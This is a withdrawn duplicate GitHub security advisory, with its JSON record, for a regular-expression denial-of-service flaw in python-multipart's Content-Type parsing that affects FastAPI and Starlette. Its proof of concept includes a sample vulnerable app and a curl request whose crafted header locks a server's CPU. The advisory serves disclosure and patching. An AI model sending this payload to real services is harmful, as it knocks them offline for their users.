ghsa-qf9m-vfgh-m389
Vulnerability from github
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.
Original Description
Summary
When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.
An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.
This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS
This only applies when the app uses form data, parsed with python-multipart.
Details
A regular HTTP Content-Type header could look like:
Content-Type: text/html; charset=utf-8
python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74
A custom option could be made and sent to the server to break it with:
Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
This is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238
PoC
Create a FastAPI app that uses form data:
```Python
main.py
from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel
class Item(BaseModel): username: str
app = FastAPI()
@app.get("/", response_class=HTMLResponse) async def index(): return HTMLResponse("Test", status_code=200)
@app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username}
@app.post("/submit_json/") async def submit_json(item: Item): return {"username": item.username} ```
Then start it with:
```console $ uvicorn main:app
INFO: Started server process [50601] INFO: Waiting for application startup. INFO: ASGI 'lifespan' protocol appears unsupported. INFO: Application startup complete. INFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit) ```
Then send the attacking request with:
console
$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'
Stopping it
Because that holds the main loop consuming the CPU non-stop, it's not possible to simply kill Uvicorn with Ctrl+C as it can't handle the signal.
To stop it, first check the process ID running Uvicorn:
```console $ ps -fA | grep uvicorn
501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app 501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn ```
In this case, the process ID was 59461, then you can kill it (forcefully, with -9) with:
console
$ kill -9 59461
Impact
It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using python-multipart. This way it also affects other libraries using Starlette, like FastAPI.
Original Report
This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r
Original report to FastAPI
Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code: ```Python from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel class Item(BaseModel): username: str app = FastAPI() @app.get("/", response_class=HTMLResponse) async def index(): return HTMLResponse("Test", status_code=200) @app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username} @app.post("/submit_json/") async def submit_json(item: Item): return {"username": item.username} ``` I'm running the above with uvicorn with the following command: ```console uvicorn server:app ``` Then run the following cUrl command: ``` curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/' ``` You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100% You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server. If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data. Cheers #### Impact An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data. #### Occurrences [params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586){
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.109.0"
},
"package": {
"ecosystem": "PyPI",
"name": "fastapi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.109.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-05T17:01:54Z",
"nvd_published_at": "2024-02-05T15:15:09Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2jv5-9r88-3w3p. This link is maintained to preserve external references.\n\n## Original Description\n\n### Summary\n\nWhen using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options.\n\nAn attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can\u0027t handle any more requests.\n\nThis can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS\n\nThis only applies when the app uses form data, parsed with `python-multipart`.\n\n### Details\n\nA regular HTTP `Content-Type` header could look like:\n\n```\nContent-Type: text/html; charset=utf-8\n```\n\n`python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74\n\nA custom option could be made and sent to the server to break it with:\n\n```\nContent-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n```\n\nThis is also reported to Starlette at: https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238\n\n### PoC\n\nCreate a FastAPI app that uses form data:\n\n```Python\n# main.py\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n return {\"username\": item.username}\n```\n\nThen start it with:\n\n```console\n$ uvicorn main:app\n\nINFO: Started server process [50601]\nINFO: Waiting for application startup.\nINFO: ASGI \u0027lifespan\u0027 protocol appears unsupported.\nINFO: Application startup complete.\nINFO: Uvicorn running on http://127.0.0.1:8000 (Press CTRL+C to quit)\n```\n\nThen send the attacking request with:\n\n```console\n$ curl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\n#### Stopping it\n\nBecause that holds the main loop consuming the CPU non-stop, it\u0027s not possible to simply kill Uvicorn with `Ctrl+C` as it can\u0027t handle the signal.\n\nTo stop it, first check the process ID running Uvicorn:\n\n```console\n$ ps -fA | grep uvicorn\n\n 501 59461 24785 0 4:28PM ttys004 0:00.13 /Users/user/code/starlette/env3.10/bin/python /Users/user/code/starlette/env3.10/bin/uvicorn redos_starlette:app\n 501 59466 99935 0 4:28PM ttys010 0:00.00 grep uvicorn\n```\n\nIn this case, the process ID was `59461`, then you can kill it (forcefully, with `-9`) with:\n\n```console\n$ kill -9 59461\n```\n\n### Impact\n\nIt\u0027s a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data, using `python-multipart`. This way it also affects other libraries using Starlette, like FastAPI.\n\n### Original Report\n\nThis was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal report to FastAPI\u003c/summary\u003e\n\nHey Tiangolo!\n\nMy name\u0027s Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).\n\nHere are the details: I\u0027m using the latest version of FastAPI (0.109.0) and the following code:\n\n```Python\nfrom typing import Annotated\nfrom fastapi.responses import HTMLResponse\nfrom fastapi import FastAPI,Form\nfrom pydantic import BaseModel\n\nclass Item(BaseModel):\n username: str\n\napp = FastAPI()\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def index():\n return HTMLResponse(\"Test\", status_code=200)\n\n@app.post(\"/submit/\")\nasync def submit(username: Annotated[str, Form()]):\n return {\"username\": username}\n\n@app.post(\"/submit_json/\")\nasync def submit_json(item: Item):\n return {\"username\": item.username}\n```\n\nI\u0027m running the above with uvicorn with the following command:\n\n```console\nuvicorn server:app\n```\n\nThen run the following cUrl command:\n\n```\ncurl -v -X \u0027POST\u0027 -H $\u0027Content-Type: application/x-www-form-urlencoded; !=\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\u0027 --data-binary \u0027input=1\u0027 \u0027http://localhost:8000/submit/\u0027\n```\n\nYou\u0027ll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%\n\nYou can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you\u0027ll completely DoS the FastApi server.\n\nIf you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you\u0027ll see it isn\u0027t vulnerable. So this only affects FastAPI when it parses Form data.\n\nCheers\n\n#### Impact\n\nAn attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.\n\n#### Occurrences\n\n[params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586)\n\n\u003c/details\u003e",
"id": "GHSA-qf9m-vfgh-m389",
"modified": "2024-02-20T18:16:58Z",
"published": "2024-02-05T17:01:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/security/advisories/GHSA-2jv5-9r88-3w3p"
},
{
"type": "WEB",
"url": "https://github.com/encode/starlette/security/advisories/GHSA-93gm-qmq6-w238"
},
{
"type": "WEB",
"url": "https://github.com/tiangolo/fastapi/security/advisories/GHSA-qf9m-vfgh-m389"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-24762"
},
{
"type": "WEB",
"url": "https://github.com/Kludex/python-multipart/commit/20f0ef6b4e4caf7d69a667c54dff57fe467109a4"
},
{
"type": "WEB",
"url": "https://github.com/encode/starlette/commit/13e5c26a27f4903924624736abd6131b2da80cc5"
},
{
"type": "WEB",
"url": "https://github.com/tiangolo/fastapi/commit/9d34ad0ee8a0dfbbcce06f76c2d5d851085024fc"
},
{
"type": "WEB",
"url": "https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/fastapi/PYSEC-2024-38.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/tiangolo/fastapi"
},
{
"type": "WEB",
"url": "https://github.com/tiangolo/fastapi/releases/tag/0.109.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: FastAPI Content-Type Header ReDoS",
"withdrawn": "2024-02-16T23:37:39Z"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.